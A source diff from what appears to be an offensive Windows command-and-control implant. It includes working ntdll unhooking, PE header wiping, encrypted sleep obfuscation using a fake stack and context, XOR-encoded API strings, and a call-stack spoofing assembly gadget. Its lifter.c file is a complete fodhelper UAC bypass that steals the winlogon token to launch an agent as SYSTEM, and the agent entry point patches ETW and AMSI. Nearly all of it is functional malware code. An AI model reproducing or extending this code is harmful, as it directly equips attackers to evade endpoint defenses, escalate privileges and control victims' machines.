}
/* Restore ntdll from disk */
void evasion_unhook_ntdll(void)
{
/* Build ntdll.dll path: GetSystemDirectoryW + "\ntdll.dll" */
WCHAR path[MAX_PATH];
UINT dir_len = GetSystemDirectoryW(path, MAX_PATH);
if (!dir_len || dir_len > MAX_PATH - 12) return;
/* append \ntdll.dll as wide chars */
const WCHAR suffix[] = { L'\\',L'n',L't',L'd',L'l',L'l',L'.',L'd',L'l',L'l',L'\0' };
wcsncpy(path + dir_len, suffix, 11);
/* map ntdll from disk via SEC_IMAGE to bypass file hooks */
HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return;
HANDLE hMap = CreateFileMappingW(hFile, NULL,
PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
CloseHandle(hFile);
if (!hMap) return;
LPVOID disk = _mvf(hMap, FILE_MAP_READ, 0, 0, 0);
CloseHandle(hMap);
if (!disk) return;
/* get live ntdll base */
char sname[12];
EVS_D(sname, EVS_dll_ntdll);
HMODULE live = _peb_module(sname);
SecureZeroMemory(sname, sizeof(sname));
if (!live) goto cleanup;
/* parse PE headers to find .text section */
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)disk;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)disk + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) goto cleanup;
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
LPVOID live_text = (BYTE *)live + sec->VirtualAddress;
LPVOID disk_text = (BYTE *)disk + sec->VirtualAddress;
SIZE_T text_sz = sec->Misc.VirtualSize;
DWORD old;
if (!_nt_prot(live_text, text_sz, PAGE_EXECUTE_READWRITE, &old))
break;
memcpy(live_text, disk_text, text_sz);
_nt_prot(live_text, text_sz, old, &old);
break;
}
cleanup:
_umvf(disk);
}
/* Remove the PE header at module base */
void evasion_stomp_header(void)
{
HMODULE base = (HMODULE)_peb_self_base();
if (!base) return;
DWORD old;
if (!_nt_prot(base, 0x1000, PAGE_READWRITE, &old)) return;
SecureZeroMemory(base, 0x1000);
_nt_prot(base, 0x1000, old, &old);
}
/* Sleep obfuscation */
/* Typedefs for dynamically resolved APIs */
typedef NTSTATUS (NTAPI *NtContinue_t)(PCONTEXT, BOOLEAN);
typedef NTSTATUS (NTAPI *NtWait_t)(HANDLE, BOOLEAN, PLARGE_INTEGER);
typedef VOID (NTAPI *RtlCapCtx_t)(PCONTEXT);
typedef BOOL (WINAPI *VProt_t) (LPVOID, SIZE_T, DWORD, PDWORD);
typedef void (WINAPI *Sleep_t) (DWORD);
typedef BOOL (WINAPI *SetEvent_t) (HANDLE);
#define FAKE_STACK_SZ 0x10000 /* 64KB virtual stack for fake context */
typedef struct {
LPVOID text_base;
SIZE_T text_size;
BYTE key[32];
DWORD sleep_ms;
HANDLE done;
NtContinue_t ntcontinue;
LARGE_INTEGER timeout; /* negative relative timeout */
LPVOID fake_stack_mem; /* VirtualAlloc'd fake stack */
PVOID orig_stack_base; /* TEB StackBase to restore */
PVOID orig_stack_limit; /* TEB StackLimit to restore */
VProt_t fn_vprot; /* direct kernel32 VA, not IAT thunk */
Sleep_t fn_sleep; /* direct kernel32 VA, not IAT thunk */
SetEvent_t fn_setevent; /* direct kernel32 VA, not IAT thunk */
} obf_ctx_t;
/* Read/write TEB fields via GS */
__attribute__((section(".run")))
static inline PVOID _teb_read_ptr(DWORD64 off) {
PVOID v;
__asm__ __volatile__("movq %%gs:(%1), %0" : "=r"(v) : "r"(off));
return v;
}
__attribute__((section(".run")))
static inline void _teb_write_ptr(DWORD64 off, PVOID val) {
__asm__ __volatile__("movq %0, %%gs:(%1)" :: "r"(val), "r"(off) : "memory");
}
/* Globals used from .noscan */
static CONTEXT s_saved_ctx = {0};
static obf_ctx_t *s_obf_ctx = NULL;
static volatile LONG s_restore = 0;
/* .noscan data */
__attribute__((section(".run"), noinline))
static DWORD WINAPI _timer_thread(LPVOID arg)
{
obf_ctx_t *c = (obf_ctx_t *)arg;
/* use direct pointers, IAT thunks in .text are NOACCESS during sleep */
c->fn_sleep(c->sleep_ms);
c->fn_setevent(c->done);
return 0;
}
/* Wake up and restore state */
__attribute__((section(".run"), noinline))
static void _sleep_trampoline(void)
{
obf_ctx_t *c = s_obf_ctx;
BYTE *p = (BYTE *)c->text_base;
SIZE_T n = c->text_size;
DWORD old;
/* use fn_vprot directly, not IAT thunk (which is in PAGE_NOACCESS .text) */
c->fn_vprot(p, n, PAGE_READWRITE, &old);
for (SIZE_T i = 0; i < n; i++) p[i] ^= c->key[i & 31];
/* try XR first; fall back to XRW for ACG-enforced systems */
if (!c->fn_vprot(p, n, PAGE_EXECUTE_READ, &old))
c->fn_vprot(p, n, PAGE_EXECUTE_READWRITE, &old);
/* restore TEB stack bounds */
_teb_write_ptr(0x08, c->orig_stack_base);
_teb_write_ptr(0x10, c->orig_stack_limit);
c->ntcontinue(&s_saved_ctx, FALSE);
__builtin_unreachable();
}
/* Encrypt text and switch to fake context */
__attribute__((section(".run"), noinline))
static void _obf_sleep_tail(obf_ctx_t *ctx, CONTEXT *fake_ctx_ptr)
{
BYTE *p = (BYTE *)ctx->text_base;
SIZE_T n = ctx->text_size;
DWORD old;
for (SIZE_T i = 0; i < n; i++) p[i] ^= ctx->key[i & 31];
ctx->fn_vprot(p, n, PAGE_NOACCESS, &old);
/* update TEB stack bounds for fake stack */
_teb_write_ptr(0x08, (PVOID)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ));
_teb_write_ptr(0x10, ctx->fake_stack_mem);
ctx->ntcontinue(fake_ctx_ptr, FALSE);
__builtin_unreachable();
}
static void _find_section(const char *name, LPVOID *base, SIZE_T *sz)
{
*base = NULL; *sz = 0;
BYTE *img = (BYTE *)_peb_self_base();
if (!img) return;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)img;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(img + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return;
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
int ok = 1;
for (int j = 0; j < 8; j++) {
char c = name[j];
if (sec->Name[j] != (unsigned char)c) { ok = 0; break; }
if (!c) break;
}
if (ok) { *base = img + sec->VirtualAddress; *sz = sec->Misc.VirtualSize; return; }
}
}
#define _XDEC(enc, dst) EVS_D((dst), (enc))
void beacon_sleep_obf(DWORD ms)
{
#if JITTER_PCT == 0
/* Test mode: skip .text encrypt dance, just sleep */
Sleep(ms);
return;
#endif
LPVOID text_base = NULL;
SIZE_T text_size = 0;
_find_section(".text", &text_base, &text_size);
if (!text_base || !text_size) { Sleep(ms); return; }
char s[24] = {0};
_XDEC(EVS_dll_ntdll, s);
HMODULE hntdll = _peb_module(s);
SecureZeroMemory(s, sizeof(s));
if (!hntdll) { Sleep(ms); return; }
_XDEC(EVS_fn_NtContinue, s);
NtContinue_t fn_cont = (NtContinue_t)(void *)GetProcAddress(hntdll, s);
SecureZeroMemory(s, sizeof(s));
_XDEC(EVS_fn_NtWaitForSingleObject, s);
NtWait_t fn_wait = (NtWait_t)(void *)GetProcAddress(hntdll, s);
SecureZeroMemory(s, sizeof(s));
_XDEC(EVS_fn_RtlCaptureContext, s);
RtlCapCtx_t fn_cap = (RtlCapCtx_t)(void *)GetProcAddress(hntdll, s);
SecureZeroMemory(s, sizeof(s));
_XDEC(EVS_fn_RtlUserThreadStart, s);
PVOID fn_rts = (PVOID)GetProcAddress(hntdll, s);
SecureZeroMemory(s, sizeof(s));
if (!fn_cont || !fn_wait || !fn_cap) { Sleep(ms); return; }
/* resolve kernel32 functions by direct VA, not IAT thunks */
_XDEC(EVS_dll_kernel32, s);
HMODULE hk32 = _peb_module(s);
SecureZeroMemory(s, sizeof(s));
if (!hk32) { Sleep(ms); return; }
_XDEC(EVS_fn_VirtualProtect, s);
VProt_t fn_vprot = (VProt_t) GetProcAddress(hk32, s);
SecureZeroMemory(s, sizeof(s));
_XDEC(EVS_fn_Sleep, s);
Sleep_t fn_sleep = (Sleep_t) GetProcAddress(hk32, s);
SecureZeroMemory(s, sizeof(s));
_XDEC(EVS_fn_SetEvent, s);
SetEvent_t fn_setevent = (SetEvent_t)GetProcAddress(hk32, s);
SecureZeroMemory(s, sizeof(s));
if (!fn_vprot || !fn_sleep || !fn_setevent) { Sleep(ms); return; }
obf_ctx_t *ctx = (obf_ctx_t *)HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(obf_ctx_t));
if (!ctx) { Sleep(ms); return; }
ctx->text_base = text_base;
ctx->text_size = text_size;
ctx->sleep_ms = ms;
ctx->ntcontinue = fn_cont;
ctx->fn_vprot = fn_vprot;
ctx->fn_sleep = fn_sleep;
ctx->fn_setevent = fn_setevent;
ctx->done = CreateEventA(NULL, FALSE, FALSE, NULL);
if (!ctx->done) { HeapFree(GetProcessHeap(), 0, ctx); Sleep(ms); return; }
/* relative timeout in 100ns units, with 5s buffer */
ctx->timeout.QuadPart = -((LONGLONG)(ms + 5000) * 10000LL);
BCryptGenRandom(NULL, ctx->key, sizeof(ctx->key), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
/* allocate fake stack so RSP stays within TEB [StackLimit, StackBase] */
ctx->fake_stack_mem = VirtualAlloc(NULL, FAKE_STACK_SZ,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ctx->fake_stack_mem) {
CloseHandle(ctx->done);
HeapFree(GetProcessHeap(), 0, ctx);
InterlockedExchange(&s_restore, 0);
Sleep(ms);
return;
}
/* set trampoline as return address for NtWait */
PVOID *fake_top = (PVOID *)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ - 16);
fake_top[0] = (PVOID)_sleep_trampoline; /* ret addr for NtWait */
fake_top[1] = fn_rts ? (PVOID)((BYTE *)fn_rts + 0x10) : NULL; /* fake upper frame */
/* save TEB stack limits for restoration on wakeup */
ctx->orig_stack_base = _teb_read_ptr(0x08);
ctx->orig_stack_limit = _teb_read_ptr(0x10);
s_obf_ctx = ctx;
InterlockedExchange(&s_restore, 0);
/* save current context (RIP = instruction after this call) */
fn_cap(&s_saved_ctx);
/* two-pass: first call sleeps, second call (restored by trampoline) cleans up */
if (InterlockedCompareExchange(&s_restore, 0, 1) == 1) {
SecureZeroMemory(ctx->key, sizeof(ctx->key));
CloseHandle(ctx->done);
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, ctx);
return;
}
InterlockedExchange(&s_restore, 1);
/* build fake context: RSP=fake_stack, RIP=NtWait */
CONTEXT fake_ctx;
memcpy(&fake_ctx, &s_saved_ctx, sizeof(CONTEXT));
fake_ctx.Rsp = (DWORD64)(uintptr_t)fake_top;
fake_ctx.Rip = (DWORD64)(uintptr_t)fn_wait;
fake_ctx.Rcx = (DWORD64)ctx->done; /* arg1: handle */
fake_ctx.Rdx = FALSE; /* arg2: alertable */
fake_ctx.R8 = (DWORD64)(uintptr_t)&ctx->timeout; /* arg3: timeout */
/* create timer thread before encrypting .text (DLL_THREAD_ATTACH needs .text) */
HANDLE ht = CreateThread(NULL, 0, _timer_thread, ctx, 0, NULL);
if (!ht) {
SecureZeroMemory(ctx->key, sizeof(ctx->key));
CloseHandle(ctx->done);
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, ctx);
InterlockedExchange(&s_restore, 0);
Sleep(ms);
return;
}
/* arm ETW/AMSI breakpoints on timer thread before it runs */
evasion_apply_thread(ht);
CloseHandle(ht);
/* verify page permission round-trip before committing to obfuscated sleep */
BYTE *p = (BYTE *)text_base;
DWORD old, dummy;
/* verify RW/XR round-trip; fall back to plain sleep if ACG blocks it */
if (!_nt_prot(p, text_size, PAGE_READWRITE, &old)) {
goto _fallback;
}
if (!_nt_prot(p, text_size, old, &dummy)) {
_nt_prot(p, text_size, old, &dummy);
goto _fallback;
}
/* re-apply RW for _obf_sleep_tail */
_nt_prot(p, text_size, PAGE_READWRITE, &old);
/* jump to .noscan tail, never returns */
_obf_sleep_tail(ctx, &fake_ctx);
__builtin_unreachable();
_fallback:
SecureZeroMemory(ctx->key, sizeof(ctx->key));
CloseHandle(ctx->done);
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, ctx);
InterlockedExchange(&s_restore, 0);
Sleep(ms);
}
+12
View File
@@ -0,0 +1,12 @@
#include "evs_strings.h"
#include <stddef.h>
/* Single XOR-decode function. noinline = one code pattern in .text, not 100+ loops. */
__attribute__((noinline))
void _evs_dec(char *out, const unsigned char *enc, size_t n)
{
unsigned char k = EVS_KEY;
for (size_t i = 0; i < n; i++)
out[i] = (char)(enc[i] ^ k);
out[n] = '\0';
}
File diff suppressed because it is too large Load Diff
+13
View File
@@ -0,0 +1,13 @@
#include "inject.h"
/* Lean-build stubs — inject capability excluded via -DLEAN.
* inject_nt_open_process is still called by getsystem/spawn/token;
* returning NULL causes those callers to fail gracefully. */
DWORD inject_find_target(void) { return 0; }
HANDLE inject_nt_open_process(DWORD pid, DWORD access) { (void)pid; (void)access; return NULL; }
int inject_remote(DWORD pid, const BYTE *sc, SIZE_T n) { (void)pid; (void)sc; (void)n; return -1; }
int inject_thread_hijack(DWORD pid, const BYTE *sc, SIZE_T n) { (void)pid; (void)sc; (void)n; return -1; }
int inject_earlybird(const BYTE *sc, SIZE_T n) { (void)sc; (void)n; return -1; }
int inject_self(const BYTE *sc, SIZE_T n) { (void)sc; (void)n; return -1; }
int inject_stomp(DWORD pid, const BYTE *sc, SIZE_T n, const char *dll) { (void)pid; (void)sc; (void)n; (void)dll; return -1; }
+34
View File
@@ -0,0 +1,34 @@
.text
.extern inj_sc_gadget
.extern inj_frame1
.extern inj_frame2
.global inj_sc
inj_sc:
movq 0x30(%rsp), %r10
movq 0x38(%rsp), %r11
subq $0x10, %rsp
movq inj_frame2(%rip), %rax
movq %rax, 0x08(%rsp)
movq inj_frame1(%rip), %rax
movq %rax, 0x00(%rsp)
movq %r10, 0x28(%rsp)
movq %r11, 0x30(%rsp)
movq %rdx, %r10
movq %r8, %rdx
movq %r9, %r8
movq 0x38(%rsp), %r9
movq 0x50(%rsp), %r11 ; movq %r11, 0x38(%rsp)
movq 0x58(%rsp), %r11 ; movq %r11, 0x40(%rsp)
movq 0x60(%rsp), %r11 ; movq %r11, 0x48(%rsp)
movq 0x68(%rsp), %r11 ; movq %r11, 0x50(%rsp)
movq 0x70(%rsp), %r11 ; movq %r11, 0x58(%rsp)
movzwl %cx, %eax
jmpq *inj_sc_gadget(%rip)
+373
View File
@@ -0,0 +1,373 @@
/*
* lifter.c minimal UAC bypass + winlogon token steal
*
* Two modes selected by first arg:
* (none) MEDIUM IL writes fodhelper HKCU key, fires bypass
* --admin HIGH IL enables privileges, steals winlogon token,
* spawns argv[2] (agent.exe) as SYSTEM
*
* Evasion:
* All sensitive APIs resolved at runtime via GetProcAddress
* API/DLL strings XOR-encoded at rest via EVS_D (per-build random key)
* No console window (-mwindows)
* No debug output
*/
#include <windows.h>
#include "peb_walk.h"
#include "evs_strings.h"
#include <tlhelp32.h>
#include <shellapi.h>
#include <stdio.h>
#include <string.h>
/* ── Dynamic API typedefs ─────────────────────────────────────────────── */
typedef BOOL (WINAPI *fn_OPT)(HANDLE,DWORD,PHANDLE);
typedef BOOL (WINAPI *fn_ATP)(HANDLE,BOOL,PTOKEN_PRIVILEGES,DWORD,PTOKEN_PRIVILEGES,PDWORD);
typedef BOOL (WINAPI *fn_LPV)(LPCSTR,LPCSTR,PLUID);
typedef BOOL (WINAPI *fn_DTE)(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);
typedef BOOL (WINAPI *fn_CTM)(HANDLE,PSID,PBOOL);
typedef BOOL (WINAPI *fn_AIS)(PSID_IDENTIFIER_AUTHORITY,BYTE,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,PSID*);
typedef PVOID (WINAPI *fn_FS) (PSID);
typedef BOOL (WINAPI *fn_CPWT)(HANDLE,DWORD,LPCWSTR,LPWSTR,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *fn_CPAU)(HANDLE,LPCWSTR,LPWSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *fn_SEE) (SHELLEXECUTEINFOA*);
typedef LONG (WINAPI *fn_RCK) (HKEY,LPCSTR);
typedef LONG (WINAPI *fn_RCE) (HKEY,LPCSTR,DWORD,LPCSTR,DWORD,REGSAM,LPSECURITY_ATTRIBUTES,PHKEY,LPDWORD);
typedef LONG (WINAPI *fn_RSV) (HKEY,LPCSTR,DWORD,DWORD,const BYTE*,DWORD);
typedef LONG (WINAPI *fn_RCL) (HKEY);
typedef struct {
fn_OPT OpenProcessToken;
fn_ATP AdjustTokenPrivileges;
fn_LPV LookupPrivilegeValueA;
fn_DTE DuplicateTokenEx;
fn_CTM CheckTokenMembership;
fn_AIS AllocateAndInitializeSid;
fn_FS FreeSid;
fn_CPWT CreateProcessWithTokenW;
fn_CPAU CreateProcessAsUserW;
fn_SEE ShellExecuteExA;
fn_RCK RegDeleteKeyA;
fn_RCE RegCreateKeyExA;
fn_RSV RegSetValueExA;
fn_RCL RegCloseKey;
} api_t;
/* ── String builders ──────────────────────────────────────────────────── */
static void _build_reg_path(char *out, size_t sz)
{
char _ms[12];
EVS_D(_ms, EVS_str_ms_settings);
snprintf(out, sz, "Software\\Classes\\%s\\Shell\\Open\\command", _ms);
SecureZeroMemory(_ms, sizeof(_ms));
}
static void _build_reg_root(char *out, size_t sz)
{
char _ms[12];
EVS_D(_ms, EVS_str_ms_settings);
snprintf(out, sz, "Software\\Classes\\%s", _ms);
SecureZeroMemory(_ms, sizeof(_ms));
}
static void _build_fod(char *out, size_t sz)
{
char sys32[MAX_PATH];
GetSystemDirectoryA(sys32, sizeof(sys32));
char _fn[14];
EVS_D(_fn, EVS_str_fodhelper_exe);
snprintf(out, sz, "%s\\%s", sys32, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
}
static void _build_delexec(char *out)
{
EVS_D(out, EVS_str_DelegateExecute);
}
static void _build_winlogon(char *out)
{
EVS_D(out, EVS_str_winlogon_exe);
}
/* ── API resolution ───────────────────────────────────────────────────── */
static int _resolve(api_t *api)
{
char _dl[13];
EVS_D(_dl, EVS_dll_kernel32);
HMODULE hk32 = _peb_module(_dl);
SecureZeroMemory(_dl, sizeof(_dl));
EVS_D(_dl, EVS_dll_advapi32);
HMODULE had = LoadLibraryA(_dl);
SecureZeroMemory(_dl, sizeof(_dl));
char _sh[12];
EVS_D(_sh, EVS_dll_shell32);
HMODULE hsh32 = LoadLibraryA(_sh);
SecureZeroMemory(_sh, sizeof(_sh));
if (!hk32 || !had || !hsh32) return -1;
char _fn[25];
#define _R(api_field, cast, mod, evs_arr) do { \
EVS_D(_fn, evs_arr); \
(api_field) = (cast)(void*)GetProcAddress((mod), _fn); \
SecureZeroMemory(_fn, sizeof(_fn)); \
} while(0)
_R(api->OpenProcessToken, fn_OPT, had, EVS_fn_OpenProcessToken);
_R(api->AdjustTokenPrivileges, fn_ATP, had, EVS_fn_AdjustTokenPrivileges);
_R(api->LookupPrivilegeValueA, fn_LPV, had, EVS_fn_LookupPrivilegeValueA);
_R(api->DuplicateTokenEx, fn_DTE, had, EVS_fn_DuplicateTokenEx);
_R(api->CheckTokenMembership, fn_CTM, had, EVS_fn_CheckTokenMembership);
_R(api->AllocateAndInitializeSid, fn_AIS, had, EVS_fn_AllocateAndInitializeSid);
_R(api->FreeSid, fn_FS, had, EVS_fn_FreeSid);
_R(api->CreateProcessWithTokenW, fn_CPWT, had, EVS_fn_CreateProcessWithTokenW);
_R(api->CreateProcessAsUserW, fn_CPAU, had, EVS_fn_CreateProcessAsUserW);
_R(api->ShellExecuteExA, fn_SEE, hsh32, EVS_fn_ShellExecuteExA);
_R(api->RegDeleteKeyA, fn_RCK, had, EVS_fn_RegDeleteKeyA);
_R(api->RegCreateKeyExA, fn_RCE, had, EVS_fn_RegCreateKeyExA);
_R(api->RegSetValueExA, fn_RSV, had, EVS_fn_RegSetValueExA);
_R(api->RegCloseKey, fn_RCL, had, EVS_fn_RegCloseKey);
#undef _R
return (api->OpenProcessToken && api->DuplicateTokenEx &&
api->ShellExecuteExA && api->RegCreateKeyExA) ? 0 : -1;
}
/* ── Helper: check if running as admin (full token) ─────────────────── */
static BOOL _is_admin(api_t *api)
{
BOOL admin = FALSE;
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
PSID sid = NULL;
if (api->AllocateAndInitializeSid(&nt, 2,
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0,0,0,0,0,0, &sid)) {
api->CheckTokenMembership(NULL, sid, &admin);
api->FreeSid(sid);
}
return admin;
}
/* ── Enable four key privileges ──────────────────────────────────────── */
static void _enable_privs(api_t *api)
{
HANDLE htok = NULL;
if (!api->OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &htok))
return;
char _priv[30];
LUID luid = {0};
TOKEN_PRIVILEGES tp = {0};
#define _ENA(evs_arr) do { \
EVS_D(_priv, evs_arr); \
if (api->LookupPrivilegeValueA(NULL, _priv, &luid)) { \
tp.PrivilegeCount = 1; \
tp.Privileges[0].Luid = luid; \
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \
api->AdjustTokenPrivileges(htok, FALSE, &tp, sizeof(tp), NULL, NULL); \
} \
SecureZeroMemory(_priv, sizeof(_priv)); \
} while(0)
_ENA(EVS_str_SeDebugPrivilege);
_ENA(EVS_str_SeImpersonatePrivilege);
_ENA(EVS_str_SeAssignPrimaryTokenPrivilege);
_ENA(EVS_str_SeIncreaseQuotaPrivilege);
#undef _ENA
CloseHandle(htok);
}
/* ── Find winlogon.exe PID ───────────────────────────────────────────── */
static DWORD _winlogon_pid(void)
{
char _wl[13];
_build_winlogon(_wl);
DWORD pid = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(snap, &pe)) do {
if (_stricmp(pe.szExeFile, _wl) == 0) { pid = pe.th32ProcessID; break; }
} while (Process32Next(snap, &pe));
CloseHandle(snap);
return pid;
}
/* ── Elevated path: steal winlogon token → spawn agent as SYSTEM ─────── */
static int _run_admin(api_t *api, const char *agent_path)
{
_enable_privs(api);
DWORD pid = _winlogon_pid();
if (!pid) return -1;
HANDLE hp = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hp) return -1;
HANDLE htok = NULL;
if (!api->OpenProcessToken(hp,
TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &htok)) {
CloseHandle(hp);
return -1;
}
CloseHandle(hp);
HANDLE hdup = NULL;
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, FALSE };
if (!api->DuplicateTokenEx(htok, MAXIMUM_ALLOWED, &sa,
SecurityImpersonation, TokenPrimary, &hdup)) {
CloseHandle(htok);
return -1;
}
CloseHandle(htok);
/* Convert agent path to wide */
int wlen = MultiByteToWideChar(CP_ACP, 0, agent_path, -1, NULL, 0);
WCHAR *wpath = (WCHAR*)LocalAlloc(LMEM_ZEROINIT, (SIZE_T)wlen * sizeof(WCHAR));
if (!wpath) { CloseHandle(hdup); return -1; }
MultiByteToWideChar(CP_ACP, 0, agent_path, -1, wpath, wlen);
STARTUPINFOW si = { sizeof(si) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {0};
DWORD flags = CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP;
BOOL ok = FALSE;
if (api->CreateProcessWithTokenW)
ok = api->CreateProcessWithTokenW(
hdup, LOGON_WITH_PROFILE, wpath, NULL, flags,
NULL, NULL, &si, &pi);
if (!ok && api->CreateProcessAsUserW)
ok = api->CreateProcessAsUserW(
hdup, wpath, NULL, NULL, NULL, FALSE, flags,
NULL, NULL, &si, &pi);
LocalFree(wpath);
CloseHandle(hdup);
if (ok) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return ok ? 0 : -1;
}
/* ── Normal path: UAC bypass via fodhelper ms-settings hijack ────────── */
static int _run_bypass(api_t *api, const char *self_path, const char *agent_path)
{
char reg_key[128], reg_root[64];
_build_reg_path(reg_key, sizeof(reg_key));
_build_reg_root(reg_root, sizeof(reg_root));
/* cmd /c start "" "self_path" --admin "agent_path" */
char cmd_val[MAX_PATH * 2 + 64];
snprintf(cmd_val, sizeof(cmd_val),
"cmd /c start \"\" \"%s\" --admin \"%s\"", self_path, agent_path);
HKEY hk = NULL;
if (api->RegCreateKeyExA(HKEY_CURRENT_USER, reg_key, 0, NULL, 0,
KEY_WRITE, NULL, &hk, NULL) != ERROR_SUCCESS)
return -1;
api->RegSetValueExA(hk, NULL, 0, REG_SZ,
(const BYTE*)cmd_val, (DWORD)(strlen(cmd_val) + 1));
char de[16];
_build_delexec(de);
api->RegSetValueExA(hk, de, 0, REG_SZ, (const BYTE*)"", 1);
api->RegCloseKey(hk);
char fod[MAX_PATH + 16];
_build_fod(fod, sizeof(fod));
SHELLEXECUTEINFOA sei = { sizeof(sei) };
/* fMask = 0: no flags, matches PrivEsc01.c — NOCLOSEPROCESS breaks auto-elevate */
sei.lpFile = fod;
sei.nShow = SW_HIDE;
BOOL ok = api->ShellExecuteExA(&sei);
Sleep(3000);
/* Cleanup: delete created keys bottom-up */
api->RegDeleteKeyA(HKEY_CURRENT_USER, reg_key);
{
char _da[13], _fn[15];
EVS_D(_da, EVS_dll_advapi32);
HMODULE had2 = _peb_module(_da);
SecureZeroMemory(_da, sizeof(_da));
typedef LONG (WINAPI *fn_RDT)(HKEY,LPCSTR);
fn_RDT pRDT = NULL;
if (had2) {
EVS_D(_fn, EVS_fn_RegDeleteTreeA);
pRDT = (fn_RDT)(void*)GetProcAddress(had2, _fn);
SecureZeroMemory(_fn, sizeof(_fn));
}
if (pRDT) pRDT(HKEY_CURRENT_USER, reg_root);
}
return ok ? 0 : -1;
}
/* ── Entry point ─────────────────────────────────────────────────────── */
int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR lpCmd, int nC)
{
(void)hI; (void)hP; (void)lpCmd; (void)nC;
api_t api;
if (_resolve(&api) != 0)
return 1;
/* Parse args from command line */
int argc = 0;
LPWSTR *argv_w = CommandLineToArgvW(GetCommandLineW(), &argc);
if (!argv_w) return 1;
/* Convert argv[1] and argv[2] to narrow */
char arg1[MAX_PATH] = {0}, arg2[MAX_PATH] = {0};
if (argc >= 2)
WideCharToMultiByte(CP_ACP, 0, argv_w[1], -1, arg1, sizeof(arg1), NULL, NULL);
if (argc >= 3)
WideCharToMultiByte(CP_ACP, 0, argv_w[2], -1, arg2, sizeof(arg2), NULL, NULL);
LocalFree(argv_w);
/* --admin "agent_path": elevated — steal winlogon token, spawn agent */
if (strcmp(arg1, "--admin") == 0) {
if (!arg2[0]) return 1; /* agent path required */
return _run_admin(&api, arg2) == 0 ? 0 : 1;
}
/* "agent_path": normal — UAC bypass via fodhelper */
if (!arg1[0]) return 1; /* agent path required */
const char *agent_path = arg1;
if (_is_admin(&api)) {
/* Already elevated — go straight to token steal */
return _run_admin(&api, agent_path) == 0 ? 0 : 1;
}
char self[MAX_PATH] = {0};
GetModuleFileNameA(NULL, self, sizeof(self) - 1);
return _run_bypass(&api, self, agent_path) == 0 ? 0 : 1;
}
+740
View File
@@ -0,0 +1,740 @@
#include "beacon.h"
#include "bof.h"
#include "channels.h"
#include "commands.h"
#include "crypto.h"
#include "evasion.h"
#include "inject.h"
#include "persist.h"
#include "socks.h"
#include "adv_lazy.h"
#include "evs_strings.h"
#ifndef HTTP_ONLY
#include <curl/curl.h>
#endif
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static int _cmdeq(const char *cmd, const unsigned char *enc, size_t n) {
volatile unsigned char k = EVS_KEY;
for (size_t i = 0; i < n; i++)
if ((unsigned char)cmd[i] != (unsigned char)(enc[i] ^ k)) return 0;
return cmd[n] == '\0';
}
static void agent_run(void)
{
/* Read gs_flag at the very first instruction — before any slow init (evasion,
* curl, crypto). The parent polls this file after the UAC bypass fires; the
* narrower the window between agent start and flag deletion, the more reliable
* the detection. Store the result and act on it after full init below. */
int _gs_triggered = agent_read_gs_flag();
evasion_stomp_header();
#ifndef SKIP_EVASION
evasion_unhook_ntdll();
evasion_patch_etw();
evasion_patch_amsi();
evasion_patch_etw_ti();
#endif
#ifndef HTTP_ONLY
curl_global_init(CURL_GLOBAL_DEFAULT);
#endif
agent_ctx_t agent;
channel_config_t cfg;
int init_rc = agent_init(&agent);
if (init_rc != 0)
goto done;
channel_config_init(&cfg);
